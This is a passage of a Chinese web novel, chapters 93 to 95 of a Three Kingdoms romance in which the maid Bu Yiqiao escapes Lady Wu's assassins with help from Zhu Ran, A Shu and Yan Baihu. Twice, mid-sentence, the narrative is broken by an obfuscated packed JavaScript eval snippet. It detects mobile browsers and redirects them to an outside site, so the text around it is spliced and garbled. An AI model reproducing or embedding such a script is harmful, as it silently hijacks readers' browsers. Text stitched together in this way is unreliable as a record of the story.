孙权有一下没一下地梳理着她汗湿的长发,目光落在她颈间那片自己留下的红痕上。 “还是留下痕迹了。”话虽这么说,但孙权心底是欣喜的。 她喃喃,睡意浓重:“明日若被人看见……我可就完蛋了……” “那便让人瞧见。让所有人都知道,你是我的。” “不行……夫人会动怒……” “嗯,那明日用脂粉遮一遮罢。” 她似乎还想说什么,却已被倦意吞没。 孙权凝视她恬静睡颜,指尖拂过她微肿的唇、颈间红痕,最后心满意足地将她拥紧。 * 【五日后,后院,吴夫人屋】 吴夫人问:“第几日了?” 谢夫人道:“回母亲,第——” “谢氏安静,你说。” 吴夫人看向下方跪地叩首的步一乔。 “回老夫人,奴婢不知。” “不知?你是他的贴身侍女,他夜夜不知所踪,你竟不知?” “自……自谢夫人入府后,公子有令,入夜后……奴婢们不得近前。” 此时阿舒匆匆来报。 “禀老夫人,二公子接到紧急军报,半刻前已动身赶往庐江。” “何时归来?” “不知……” 吴夫人半晌未语,只垂眸瞧着步一乔伏低的背脊。 “仲谋动身前,可有过交代?对谢氏,又说了什么?” 阿舒低声道:“二公子未曾留话……” 吴夫人复又看向步一乔。 “公子离府,你不知。夜夜不与夫人同寝,你也不知。你知道什么?” 步一乔额上渗出细汗,地砖的凉意浸透膝盖,直窜上脊背。 “奴婢当真不知。公子行事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935945|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从不与我等交代。今晨临行前,也一如往常,未置一词。” 吴夫人的目光在步一乔低垂的发顶停留了片刻,然后移开,望向窗外。 “你俩退下吧。” 步一乔踉跄起身,与谢夫人一同退出。 待帘影落下,吴夫人走到窗前。 “阿舒。” “奴婢在。” “你与一乔同屋。这几夜,她可都宿在屋里?” 阿舒眼珠微动,忙低头应道:“回老夫人,都在的。” 吴夫人侧目横了她一眼,视线又落回院中。 “趁这几日仲谋不在,把一乔处置了。” “老夫人?!”阿舒惊得抬起头,“这……二公子若回来……” “哪有对一个婢女,比对正室夫人还上心的道理!我敢断定,这丫头就是仲谋心里惦记了十一年的那人。那日她那番冠冕堂皇的话,看似周全,实则句句都在护着他,倒让我更确信了他们之间,绝不只是主仆。” 她抬手,拂过窗棂上的薄灰。 “有些事,在仲谋回来之前,必须断干净。谢氏若是一怒之下回了娘家,这亲,可就白结了。” “老夫人打算怎么处置一乔?” “入夜动手,今晚你不必回屋睡,免得看到什么。” “是……” “但你若是敢跟仲谋通风报信,下场,会和她一样。” “……阿舒明白。” 不远处,躲在拐角的步一乔揉着发麻的腿,将对话听得真切。她无奈耸肩,转身往膳房走去。 跟吴夫人斗了几次,终于还是走到了赶尽杀绝的地步。 “孙权啊孙权,好好办你的军务吧,看你的一乔,怎么陪你娘过这招。” * 前脚刚到膳房,后脚阿舒便跑来寻。 “你还在这儿!快跑吧,吴夫人打算趁夜杀你啊!” 步一乔握着阿舒的手道:“你方才为我圆谎,我岂能丢下你独自逃命?” “我又没和二公子在书房唔——!” 阿舒一时情急,声音稍高,被步一乔迅速掩住了口。 “嘘——你想让我和你一起逃命吗!” 阿舒的眼睛在膳房昏暗的光线里骤然亮起。 “真的?你是说……我们一起走?” “啊?” “好啊好啊,你带我一起走吧!咱们出去做点手工活养活自己没问题的!” “阿舒?” ‘我会编草鞋、缝补,这些都能挣钱!’ “嗯……嗯?你认真的?” 步一乔怔住,细看阿舒写满认真的脸。 “若被抓住,必死无疑。这是孙府,除非逃出江东,否则哪有活路?” 阿舒愣了愣,垂下头:“那……你说怎么办?” “眼下,只有寻人求助了。” * 两人从后门悄然溜出,闪身躲进隔壁院落,一路熟门熟路地奔向小乔常待的暖阁。 见她们突然闯入,小乔惊得放下手中书卷。 “你们这是……出了何事?” 步一乔快步上前:“吴夫人要杀我。” 小乔愕然:“你犯了何事?” “自然不会是我。总而言之,我需要帮助。” “好,你说。” “帮我逃离孙府。” “你要离开仲谋?” “不是离开,只是暂时避避。等到……”步一乔掐指算了算,“两年后回来。” 小乔眉头稍蹙,“这有零有整的,两年后可会发生什么?” 两年后,建安七年,吴夫人病逝。 这话,步一乔终究没有说出口。 “为何不让仲谋出面,求吴夫人原谅呢?”小乔问。 “孙权去了庐江。” “或者……求姐姐?让姐姐或者,主公出面。” “可孙家向来吴夫人说了算,伯符也是听吴夫人的呀。” “也是。” 两人陷入沉思,没注意到阿舒始终不对劲的表情。 从前她便怀疑过步一乔身份不一般,没曾想,如此不一般!竟和周大都督的夫人如此熟络! “那该请谁帮忙比较好?”小乔问。 “当然是周瑜。” “夫君?” 步一乔颔首,道:“吴夫人向来信重周瑜。可一个婢女,何至于劳动大都督?” 她望向窗外渐暗的天色。 “难道要等到刀架颈上再求救?” “既然要想办法脱身……我们何不现在就逃?等二公子回到吴郡,再向他求救不迟。” 始终没出声的阿舒插入话来。 步一乔沉吟片刻,摇头道:“不能逃。一逃,便坐实了我就是孙权要找的人。往后……便真的回不来了。” 阿舒反应了会儿步一乔的话,眼睛倏地睁大。 “你……你……你真是二公子找了十、十一年的,那位姑娘?!” 步一乔看着阿舒震惊而求证的眼神,知道此刻再多的遮掩都已无用。 “嗯……你猜的没错,我,不是。” “啊?” “啊?” 阿舒和小乔异口同声发出疑惑。 “你忘了?我自蜀地来,七岁的孙权在庐江,天南地北,如何相识?” 阿舒语塞:“可若不是,老夫人为何认定?二公子又为何待你不同?” “这正是关键。”步一乔轻叹,“真假有时不重要,重要的是人心信什么。老夫人已认定,我百口莫辩。” 小乔蹙眉:“所以,你要‘消失’一段时间,待到老夫人疑心渐消,或是……时移世易?” “正是。要合情合理地‘消失’。不能逃,不能引人追查,最好让老夫人自己觉得,留我无益,放我无妨。” “这谈何容易。”小乔蹙眉。 “又或者——” 步一乔抬手抵着下颌。 “让吴夫人,断了这个念想。” 小乔失笑:“你这话,说了如同未说。” “吴夫人不是疑心我与孙权有私情么,那倘若,我其实另有所属,心许他人呢?” “步一乔。”小乔冷声唤道。 “怎么啦?”步一乔一脸开心。 “仲谋到时候回吴郡,莫说老夫人,他第一个不会放过你。” “小小孙权,不足为惧!事不宜迟,我这就去找个愿意同我搭伙演这场戏的人!” 必须赶在孙权回吴郡之前解决此事,否则被他知晓,正如小乔所说,他第一个不会放过自己! 步一乔无奈长叹一息。 “果然比起吴夫人,我更害怕他那人前人后两幅面孔的二儿子啊。” * 【另一边,吴郡前往庐江的路上】 孙权的车驾正沿官道疾行,忽闻身后马蹄声迫近。 一名玄衣护卫飞身下马,单膝跪地。 “二公子,府中急报。老夫人下令,今夜要对一乔姑娘动手。” 片刻静默,孙权的声音自车内传出。 “调头,回吴郡。” “可庐江军务——” “调头。” “是!” 必须赶在步一乔做傻事之前赶回吴郡! 94. 夜迢 【孙府】 去而复返的探子跪伏于地。 “报!老夫人,二公子那边已得密信,已在赶回吴郡的路上!” 吴夫人气得差点捏碎手中的玉扳指。 “好一个‘情义深重’的逆子!就为了一个女人——让一乔立刻来见我。” “回老夫人,已搜遍膳房、偏院及二公子居所……均不见其踪影。” “加派人手,封锁吴郡。一经发现,当场诛杀,不必回报。” “是!” 谢夫人立于一旁,面色苍白。她不过向吴夫人坦言自洞房那夜后,孙权再未同寝,不过略表忧心,觉着孙权对那位叫一乔的侍女比较上心,并未直言这二人有何私情。 却未料会激起吴夫人这般杀意,甚至累及孙权受责。 “母亲……仲谋他……不会有事吧?” “安心吧谢氏,母亲会为你做主的。她一介婢女,还能把公子的心吃了不成!” “多谢母亲……” * 退出厢房,谢夫人立在院中。不远处,杏花掩映后,便是孙权的书房。他除了寝居外待得最久,却明令她不得靠近的地方。 四下无人,安安静静。 “洞房之夜,不与我说情话,倒命我不得近书房……抱歉,仲谋。这亦是妻室之责。” 可这,与疑他何异? 杏花疏影里,谢夫人独自站了片刻,内心反复斟酌。陪嫁来的侍女阿紫上前,站在她身侧。 “阿紫你说,一个男人,到底要在书房里藏什么,才连新婚的妻子都防着?” 阿紫不敢答。 “你可知‘一乔’这名,是仲谋亲自取的。同是孙府的侍女,偏她有这待遇,为何?” 阿紫依旧不敢作声。 谢夫人却已迈步。裙裾拂过石阶,一步步走向那处“禁地”。 门未上锁。谢夫人猜想,或许孙权觉得,在这孙府之内,无人敢违逆他的命令。 殊不知,这门,是为另一人敞开的。担心她忘了钥匙,担心她若要寻藏身之处,没上锁的门,能快些闯进去。 指尖触到门扉时,谢夫人顿了一下。心跳得有些快,非因惧,而是混杂着叛逆与窥秘的悸动。 推门而入。 书房内陈设简洁,书卷井然,看不出什么异常。除了一盏摆放格外显眼的墨梅灯。 一盏花灯而已,谢夫人没放心上。 谢夫人目光扫过每一处。最终,停留在书案上,一方小巧的木匣子。 她拿起,启盖。内无珍宝,只一张字条。 “‘见卿青丝散,如云拂风。杏花新折,不及此一缕牵系’……是仲谋的字迹。见卿青丝……莫非这匣中曾藏女子发饰?” 难不成,是一乔束发的那根青色发带? 谢夫人缓缓合上木匣,放回原处。目光再次扫过书房,那盏显眼的墨梅灯此刻看来,也染上了别样意味。 这灯,是否也与她有关?二月廿五吗,有情男女互赠花灯? 她转向内室。室内极简,一榻、一几、一屏风而已。榻上被褥齐整,别无他物。 阿紫紧张地跟进来,低声道:“夫人,该走了……” “搜。每个角落都不要放过。” “可若二公子知道——” “快搜!我要找到他们在此过夜的证据!” 阿紫不敢再劝,只得动手翻找。 谢夫人立在榻边,亲手掀开被褥、枕头,甚至垫子。一无所获。 “为何……什么都没有?”她低声喃喃,眉心紧蹙。 若真有肌肤之亲,这最私密之处,怎会如此“干净”? 阿紫几乎翻遍内室,除孙权的常服与书卷,不见任何女子痕迹。她面色发白地摇头:“夫人,二公子向来自持,许是……害羞也未可知。” “不。”谢夫人斩钉截铁,“一定与她有关。” 她的视线落向角落屏风。绕过去,后面是洗漱更衣之处,更显空荡。衣桁上只挂着一件孙权换下的外袍。 就在她几近放弃时,一点熟悉的颜色攥住了她的目光。 一方绣帕。 她见过这方帕子。在某人手中,日日携带。 “尾针匆忙,但看得出极为用心……就是一乔每日带在身上的绣帕!” 证据,到手。 * 【周府】 侍女慌慌张张地跑入内堂。 “夫人!不好了!孙府突然涌出许多家兵护卫,正在四处搜捕一名叫‘一乔’的女子,还传吴夫人之令……说、说一经发现,当场诛杀!” 小乔手中针线落地,倏然起身:“夫君何在?” “大都督随主公往城外军营操练,尚未归来。” 小乔指尖微颤,当即决断:“备车,去军营!” 马车疾驰出城。沿途可见孙府护卫四处搜寻,小乔忧心如焚。 至军营辕门,却被亲卫拦下:“夫人留步。主公与都督正检阅水军,有令不得打扰。” “我有急事,必须即刻面见都督!” “军令如山,末将不敢违抗。请夫人回府等候。” 远处江面战船如林,号角声隐隐传来,却不见那人身影。小乔望向中军大旗,知今日已无法可想。 无能为力,焦急也是徒劳,小乔只好望着吴郡城的方向,暗暗祈祷。 一乔,可千万别被抓住啊。 * 【吴郡·暗巷】 步一乔将裙摆挽起扎在腰间,借着市集喧嚣人流,拉着阿舒钻进一条腌臜小巷。身后追兵的呼喝声时近时远,她不敢回头,只凭着记忆往吕蒙府邸的方向奔去。 “一乔,我们去哪儿啊?” “去找吕蒙,他和孙权交情深,定会救我们!” 阿舒跑得有些喘不上气,几乎是被步一乔拽着走的。 “要不……你别管我了,你自己跑吧。” “吴夫人那么聪明,肯定猜到你帮我撒谎,你回去,才真是思路一条。坚持住,很快就到!” 巷口传来急促脚步声。步一乔猛地把阿舒按进一堆竹篓后,自己也蜷身藏好。火把光晃过巷口,骂声渐远。 待声响彻底消失,她才松开捂住阿舒嘴的手,两人俱是一身冷汗。 “走这边。” 步一乔辨认了下方向,指着一条更窄、更暗的岔路。她记得这条小路能绕到吕蒙府邸的后街。 巷子深处弥漫着污水和腐烂食物的气味,地上湿滑。阿舒脚下一绊,差点摔倒,被步一乔眼疾手快地扶住。 “小心。” “一乔……你手在抖。” 步一乔没立刻接话,只是更紧地握住阿舒的手。 “不怕,我、我他妈一点都不害怕!又、又不是没被追杀过,一点不怂!” “一乔……” “阿舒也别怕,我会保护你的。” “嗯……” * 转过最后一个弯,吕蒙府邸的后门终于出现在视野中。 步一乔深吸一口气,拉着阿舒快步上前。手刚抬起,门从内拉开一条缝。 开门的是个面生的老仆,浑浊的目光扫过她们沾满泥污的裙角与惊惶的脸,眉头皱起。 “找谁?” “求见吕蒙大人!有生死攸关的急事!” “大人不在。”老仆作势关门。 “等等!”步一乔急得用脚抵住门缝,“让我们进去暂避片刻,我们正被——” “砰!” 门被重重关上,差点夹到她的脚。 老仆的声音隔板传来:“吴夫人有严令搜捕,府上不便留客。老朽当没见过,二位速离,莫连累将军。” 希望骤灭。 步一乔脸色煞白,扶着门板。远处,呼喝声又隐隐迫近。 “走!” 她拽着阿舒,再次转身投入暗巷。 这一次,她不再犹豫,脑中只剩下一个方向——江边。 那里船只往来,或有一线生机。或许,还能离那个人叱咤风云的地方近一些。 可追兵已将此区列为重点。她们刚跑出两条街,一队佩刀护卫便从斜刺里冲出。 “在那儿!” “抓住她们!” 火光瞬间照亮了步一乔惊骇的脸。 退路已绝!她仓皇四顾,瞥见码头旁独有一艘旧货船,舱口漆黑,船板正搭在岸上。 “跳!” “啊?!” “跳!!” 生死一瞬,步一乔拽着阿舒冲向码头边缘,在刀锋几乎划破衣角的刹那,两人狼狈地摔进敞开的货舱,跌入一片布满灰尘的黑暗。 几乎同时,船身轻晃,缆绳已解。步一乔转身抽走船板,阿舒拿起船桨奋力划。 舱外,追兵怒骂着赶到岸边。 “妈的,跑了?” “快去找船!不许跟丢!” 船缓缓离岸,朝着江心方向漂去。嘈杂的人声被水波隔开,渐渐模糊。 待船自己顺流而下,步一乔和阿舒终于能喘口气,瘫在麻袋上,劫后余生的虚脱与恐惧交织,让两人一时无声。 “阿舒,你没事吧?” “我没事……咳咳……歇会儿便好。” “抱歉,把你拖下水了。” 阿舒摇头:“没事……你不必道歉。” “你放心,我哪怕死,也不会让你出事的。” 阿舒沉默。她深知,两人或许都已无生路。 步一乔悄悄探首观望。岸已远,追兵暂失踪迹。依水流方向,下行可抵孙策水军所在。 这正是她的目的,求助于孙策。 “求伯符庇护……可千万别出意外。” “一乔快进来!” 阿舒猛地将她拽下!几乎同时,数支乱箭破空而至,狠狠钉在她方才探首的位置,木屑飞溅。 “被发现了……怎么办!” “别慌!我来想办法!” 步一乔缩回身子,在昏暗中摸索。手指触到麻袋、冰凉的木桶,还有绳索。 “我们得制造诱饵,转移视线。” “……有用吗?”阿舒心底觉得眼下做什么都是徒劳。 步一乔截然相反。 “试了,才多一条活路。” 船正行至一处江湾,水流在此变得湍急复杂。 机会,或许只有一瞬。 步一乔将几袋谷物堆到舱门附近,用绳索松松地绕了几圈。然后,她和阿舒合力将一只木桶推向船舷另一侧—— “砰!” 是船板撞击船板的声音! 几乎同时,船篷被数支箭矢穿破,甚至有几支穿过缝隙,深深钉入内部的粮袋。而步一乔已经拉着阿舒躲到了最内侧的角落,完美躲过。 “怎么办一乔!没有退路了!” 步一乔快速思索脱身之策,却听一声裂响,顶棚如削泥般被一刀切开。刺眼的天光泻入,将两人彻底暴露在追兵的视线之下。 “呵,可真让人好追啊。” * 高大身影逆光立于破口处,手中长刀犹自滴水。步一乔将阿舒护在身后,仰脸眯眼,试图看清来人。 “你是谁!” 那人轻笑一声,蹲下身来,让舱内二人看清他的面容。一张年轻、棱角初显的脸,肤色偏深,浸染着风日与行伍的悍练。年岁应与孙权相仿。 “这江上,此刻除了逃命的,就是索命的。”他用刀尖轻敲船板,“你们觉得,我像哪一种?” 步一乔强迫自己冷静。此人持刀却未立时发难,围堵而非纯粹杀意。 “索命者,不会多话。是吴夫人派你来的?还是……旁人?” 他眼梢微挑,不答反问:“你逃往孙将军水寨,是为求救?” “与你何干?若非要取我性命,何必周旋?” “周旋?”他低笑,手腕一转竟收刀入鞘,“若真要杀你,方才那几箭便不会只射船篷了。” 步一乔一怔。 “孙将军的水寨,别说你这破船,便是一只鸟也难活着飞入。” 他站起身,望着平静的江面。 宽阔平静的江面,只有两艘撞在一起的小船。 阿舒在身后轻轻扯她衣袖,附耳急道:“我认识他!” “追杀我们的是孙府的护卫,自然眼熟。” “不是!他——” “阿舒别怕。”步一乔将她护得更紧,抬头直视那人,“若杀我,便不许再动她分毫。” 男人抱臂,好整以暇:“好,我答应。” “还要将她平安送回岸上,不令吴夫人伤她。” “没问题。还有何求?” “暂没了。你动手吧。” 男人笑得更欢了,道:“我可算知道,仲谋为何心悦于你了。那么,诱惑人心的山鬼,你不认得我?” 步一乔心头一懵。山鬼? “我听不懂。” “仲谋七岁那年,不是你化身为少女,与他在山野相遇的?”他挑眉,“啊,你本就是少女,无需化身。” 步一乔本想继续质疑,但脑中闪过清明。认识七岁的孙仲谋,且晓得自己与孙权之事,必然是孙权交心的知己,满足这三点要求的,江东上下只有一个人。 “你是朱然?!” 朱然眼含笑意,从容一揖:“正是在下。奉仲谋之命,前来营救姑娘。” “孙权已知晓?!他不是去了庐江?” “你身边一直有仲谋安排的护卫暗中相随,事发后便已飞报于他。而我,料定他必会亲自赶回,便索性先一步来寻你了。” “可你方才说奉他之命……” “他若在此,定会如此下令。有些事,不必等吩咐。” 步一乔怔然,而后深鞠一躬:“多谢。” 两人登上朱然的船,朱然也答应依原计划,驶往水寨求见孙策。 “仲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正因如此,才最合适。吴夫人深知我与仲谋关系非同一般。倘若连我都‘倾心’于你,旁人便更会相信,你对仲谋并无私情,一切只是巧合与误会。” 阿舒似懂非懂点头,步一乔却仍蹙眉。 “但这般行事,岂不将你也拖入浑水?何况……我不过平凡女子。” “我本就是浑水中人。仲谋的事,从来都是我的事。有些戏,若不由我来演,反倒显得假了。” 他信誓旦旦拍胸保证:“选我,保证没问题。连仲谋也不会把你怎样。” “是……吗。” 步一乔心头那抹不安,却愈发浓了。 * 朱然十三岁被舅父朱治收为嗣子,更名入谱,与同年出生的孙权一同读书,自此结下一生之谊。 若真选朱然来演这场戏……孙权或许,确实不会把她怎样。 罢了,先顾眼前。 步一乔推开船舱窗户,想察看距水寨还有多远,入眼的却是渐近的繁华岸影。 “朱然大人这是作甚?” 朱然悠闲坐在对面:“带你们上岸啊。” “岸上全是追兵,送我们去——你不是来帮我们的?” 步一乔心下一凛,倏然攥紧阿舒的手。她竟轻信了对方,忘了朱然终究是孙氏之人。 朱然见她警觉,笑道:“放心,方才答应你的话,依旧奏效。” 答应的话?是指“杀她便不杀阿舒”那句?他果真是吴夫人派来的! “操,我居然上当了……” 步一乔暗骂,急急探手入怀,想摸出小乔所赠绣帕留给阿舒转交孙权,可摸遍衣襟,空空如也。 “不在了?!” 阿舒见她露出比追杀时还紧张的表情,忙追问:“什么不在了?” “绣帕!小乔送我的绣帕不在了!” “乔夫人赠的?其他地方呢?或者想想,是不是昨夜落在什么地方了?” “昨夜?” 对了,定是昨夜褪下衣裳时,不小心从怀中掉落在了孙权书房中。 孙权有下令不许任何人进入他的书房,步一乔暂且安了心。 “阿舒,我信朱然大人是信守承诺之人,以后,可得好好活着。抱歉,把你拖下水。” “一乔你……你别说这种话,我心里不好受。” “我知你心里怨我,你也该怨我,我也该跟你道歉。” 阿舒沉默。她确曾恼过,可当步一乔为她求命时,那怨便散了,只剩侥幸与一丝难言的触动。 船将靠岸,朱然起身,扔给阿舒一套男子衣裳:“换上,稍后有人送你出城。” “出城?可我出去又能去哪儿……” “那便是你的事了。生死去留,自己斟酌。” 阿舒颓然垂首。出城遭山贼,与被追兵斩杀,又有何异? 步一乔看在眼里。趁朱然出舱与船夫交代,她凑近阿舒耳畔,压低声: “上岸往右跑。我们在西门外桃花林汇合。” 阿舒怔然望她。 “先活下来。之后,我替你寻安身之处。” “可西门有严白虎数万山贼盘踞,岂非更险?” 严白虎?步一乔震惊,这个时间,他不是已经被孙策杀了吗?怎么还活着? 若不走西门,北面靠山,入夜后更是危机四伏。 唯今之计,只有一试。 “你若信我,便在桃花林等我。若不信……我稍后尽力拖住追兵,助你脱身。余生,有缘再会罢。” 阿舒心生纳闷,步一乔既识乔夫人,又得二公子青眼,为何不让自己去寻援?但这念头稍纵即逝,眼下她只求活命。步一乔既愿助她,那便信这一回。 船身轻撞码头。 “走!” 步一乔低喝,与阿舒同时跃下船板。阿舒如脱兔般向右疾冲,身后传来朱然的怒喝: “拦住她们!” 码瞬间一片混乱,步一乔回身便瞥见两名兵士已追至近前,她咬了咬牙,返身朝追兵最密处踹去。 “一乔!” 阿舒回头惊呼,只见步一乔已被一人扭住手臂,另一人挥刀欲砍。 “快跑——!” 步一乔嘶声喊道,同时拼尽全力撞向持刀兵士,两人顿时滚作一团,为阿舒又挣得瞬息。 阿舒泪涌,脚下不敢停,发足往西门狂奔。 * 远处城楼立柱后,男人目光划过码头纠缠,又掠过越跑越远之人。 严白虎系上蒙面巾,握住腰间佩剑。 “有劳阿舒。那么,计划还剩最后一步。一乔姑娘,可要平安到桃林,与我们会面啊。” 身影倏然一晃,人从城楼阴影处消失。 95. 解数 步一乔一脚踹在当先兵士膝弯,对方惨叫着扑倒。可另一人已趁机抓住她后领,狠力将她向后掼去。 后背重重撞上缆桩,眼前发黑,喉间腥甜。未及喘息,刀锋已抵颈。 朱然拨开混乱的人群走来,停在她跟前。 “为何不走?主动找死?” 步一乔啐出口中血沫,抬手抹去半脸血污,望向阿舒消失的方向。 “是我拖她下水,该还她生路。” 朱然冷笑:“倒有几分侠义。” “不是侠义,是罪有应得。” 朱然静默片刻,忽问:“你叫什么名字?‘一乔’只是名吧。姓什么?何方人氏?” “无姓氏。” 朱然扫过她染血的脸:“姓吴啊。” 步一乔眉头一蹙,脱口反驳:“是没有姓——” 话音未落,后颈骤遭重击。 意识沉入黑暗前,她最后看见的是朱然落下的手刀,听见他冰冷的声音:“押回去。” 朱然垂眸看着昏厥的女子,面色无波。 副将不安上前:“大人,若不送回孙府,老夫人那边……” 朱然蹲身,拂开她颊边沾血的碎发。 “我自有分寸。” 他抬眼望向孙府方向,又迅速收回。 “押回我府中。今日码头之事,任何人不得外传。” 他未说完,但副将已冷汗涔涔,抱拳应道:“末将明白!” * 意识在剧痛与颠簸间沉浮。脸上的血迹干涸紧绷,磨得难受。 步一乔被粗暴地架上马车,挣扎着掀开眼皮,视野里是晃动的车棚顶。她撑身推开一点窗缝。 不是通往孙府的那条路,恰巧相反。 马车停下。 帘布掀开,护卫将她拖下。眼前是陌生的府邸门楣,气派却不及孙府威仪。 朱然已先行下马,背对着她,正与门前管事低声交代。 步一乔被半架半拖穿过前庭,最终推入一间僻静厢房,摔在冷硬地砖上。 侍女默然放下盛热水的铜盆,转身退出。落锁声清晰传来。 步一乔蜷在地上喘息许久,才勉强撑坐起来,背靠冷墙。房内极简,一床一桌一椅,窗棂紧闭。不似常住,却洁净无尘。 朱然究竟想做什么?不将她交给吴夫人,反私自带回府中。 她抬手碰了碰脸颊,能想见此刻狼狈。挣扎起身,一瘸一拐挪到盆边,浸湿布巾,擦去血污。 清水泛起淡红。 得逃出去。去西门找阿舒。 恰在此时,门外传来脚步声。钥匙插入锁孔,转动。 步一乔迅速退至床沿,将湿布巾攥紧在手。 门开了。 朱然独自立在门外。他已卸去甲胄,墨青常服衬得身形如剑。 “清理干净了?” 步一乔不答,只盯着他。 朱然迈步入内,反手掩门,却留一线缝隙。 “此处平日空置,比孙府婢女的住处干净暖和。考虑住下?” “朱大人这是要私自拘禁孙府的人?” “你已逃出。况且老夫人要杀你,早不算孙府的人了。‘拘禁’用得不妥,准确说是……私藏。” 步一乔嗤笑,缓步踱回水盆边。 “朱大人或许不知,我迄今为止没做成几件有用的事,唯独一桩格外擅长。” “哦?是什么?逃跑么?” “聪明。准确说是……死里逃生。” 话音未落,她借着转身之势,整盆热水混着血污,直朝朱然面门泼去! 朱然侧身急避。步一乔趁隙擦身而过,推门冲出。 待朱然抹去脸上水渍追出时,人已跑出数丈。 “还真是山野精怪,溜得就是快。” * 朱府院子不大,岔路有三:通前门,往回廊,隐假山后。步一乔毫不犹豫选了假山那条。 前门必有守卫,后路才可逃生。 她如游鱼般滑入嶙峋山石之间。缝隙狭窄,碎石硌身,衣裙被勾扯,却顾不得许多,只拼命往阴影深处挤去。 脚步声逼近,停在假山口。 “你选了一条死路。这假山后面,是院墙。”朱然平淡道。 步一乔屏息,背紧贴冰冷石面,掌心沁汗。 “出来,我不伤你。” 信他才有鬼。 她小心翼翼向后挪。身后确是高墙,但墙角似堆着杂物……或许可试攀爬? 指尖刚触到一段粗糙木料,一道影子无声落在面前。 朱然竟从另一侧绕进,堵死了退路。 “我说了,是死路。” 步一乔背抵墙,前是他,暂不敢妄动。 朱然向前一步。她绷紧身体,却见他的手伸向她身后墙角,推开几块旧砖与朽木,一个低矮的洞口赫然显露在墙根。 “但死路,有时候,也能走活。” 洞外,隐约传来市井的嘈杂。 是巷子。 “这院子,有两道门。一道迎客,一道备不时之需。” 步一乔看看洞口,又看看他,一时无法理解。 “你到底是抓我还是帮我?” “我只是想跟你做个交易。你重情重义,跟你做交易,会很有保障。” 朱然从怀中取出一小袋碎银,塞进她手里。 “西门莫再去了。那婢女并非善茬,你已为她搏过命,够了。” “你想做什么交易?” “暂时欠着。怎么样?答应我,我便放你走。” 沉默了片刻。 步一乔将钱袋装进怀中,抓起朱然的手,勾住他的小指。 “这是印章,答应过的事,我步一乔从来说到做到。不过……谢谢你救了我。” 不再多言,她转身钻入狭窄墙洞。 朱然在原地静立,听着墙外细碎脚步声最终淹没在市井嘈杂中,才弯腰将杂物一一挪回原处。 “跑这么快,方才我的话,怕是没听全吧。” * 步一乔朝西城门狂奔,专挑人多处挤,借摊位行人遮掩身形。 被朱然耽搁太久,只盼阿舒已平安抵达桃花林。 西城门在望。 入城一侧正排队受检,出城人稀,任何异动都可能招眼。步一乔放慢脚步,佝偻起背,做出畏寒瑟缩的模样,朝出城通道挪去。 守门的兵士瞥了她一眼,不过是个面色苍白的年轻女子,便移开了视线。 “站住!” 步一乔浑身一僵,血液似乎瞬间冻结。她缓缓、极其缓慢地侧过头。 兵士正揪着一个试图混入城的中年男子厉喝:“路引呢!” 虚惊一场。她不敢再耽搁,稍加快脚步,直往桃花林。 城西三里外,初春的桃林枝桠稀落,并非隐蔽之处,但人迹罕至。 林中寂静,唯风过枯枝簌簌。不见人影。 “阿舒?阿舒!” 良久无人应答。 阿舒不在这里?莫非她被抓住了?! 步一乔愈发不安。头顶枯枝忽然“咔嚓”一响,她倏地抬头,一个黑色人影蹲在枝上,两眼死死盯着她。 “一个人在这荒郊野岭,可不安全。” “你是谁?!” “你居然不认识我?试问,吴郡谁人不知我严白虎大名。” “严白虎?” 男人跳下树枝,落在步一乔跟前,取掉蒙面的布巾。果真是严白虎,还是那张村口傻大个儿的样子。 “你居然没死?!” 按照正史,严白虎可早在三年前就被孙策消灭的,为何还活着? “因为,他吃了一种药。包治百病,唯一的弊端……便是忘记前尘。” 阿舒从一棵粗树后走出,行至严白虎身侧。 包治百病,忘记前尘……这说辞,她似乎……在何处听过? 阿舒继续道:“我原入孙府,是为给白虎报仇,伺机杀孙策。孙权大婚那夜,我故意引你去他房外,本欲让你望风……” 不料被步一乔强拉着逃了。 “我猜你与我一样,是为某个目的才入孙府,故与你交好,告知你吴夫人欲杀你之事。白虎一直在城中暗中护我。今日之事……让我决定告诉你个秘密。所以,我们在此等你。” 步一乔怔在原地,脸上困惑愈深。 “三年前,孙策灭了白虎寨,唯我侥幸存活。寻到白虎时,他还留着一口气,我背他遍寻大夫。最后,遇到一位神医。他用了种药,说人醒后或会忘尽前事。我别无他求,只求他活着。” 步一乔茫然点头,心中却疑窦丛生吗,阿舒为何将这些告知自己? “一乔,我将秘密说与你,是为报答你舍命相救。那位神医行踪不定,但每年三月中旬至五月初,会暂居吴郡北山茅屋。” 阿舒望向北面隐约山影。 “我告诉你,是因你救了我。也因你我皆是这乱世里的身不由己。多一条路,或许就多一分生机。” 一直沉默的严白虎忽然指着步一乔身前的血迹道:“你受伤了。” 步一乔下意识地拢了拢衣襟。 阿舒从怀中取出一个小布包,递过来:“干净的布,还有伤药。” 步一乔接下,凝视二人:“那药……除了令人遗忘,可还有别的代价?” “只要能活下来,不在乎代价。” 阿舒答地肯定,握紧步一乔的手。 “接下来,我和白虎打算往南走。虽是南蛮之地,但至少远离战火。你呢?” “我会留在吴郡。” “为何?为了……二公子?” “嗯,我不能留他一人。就像你们无法离开彼此。” 步一乔微微一笑。阿舒与严白虎却如被点破心事,面颊倏红,眼神飘忽。 “好啦,趁天未黑,快走吧。” “多谢一乔。我们……就此别过。” 阿舒转身,严白虎随之,却又回头望向步一乔。那复杂眼神似有千言万语,他似在努力回忆,却终是空空。 “答应我的事,你做到了呢。”步一乔先开口,“远离江东,好好活下去。” 严白虎怔了一瞬,随即展露笑容。 “嗯。姑娘也要活下去。神医心善,会帮你的。” 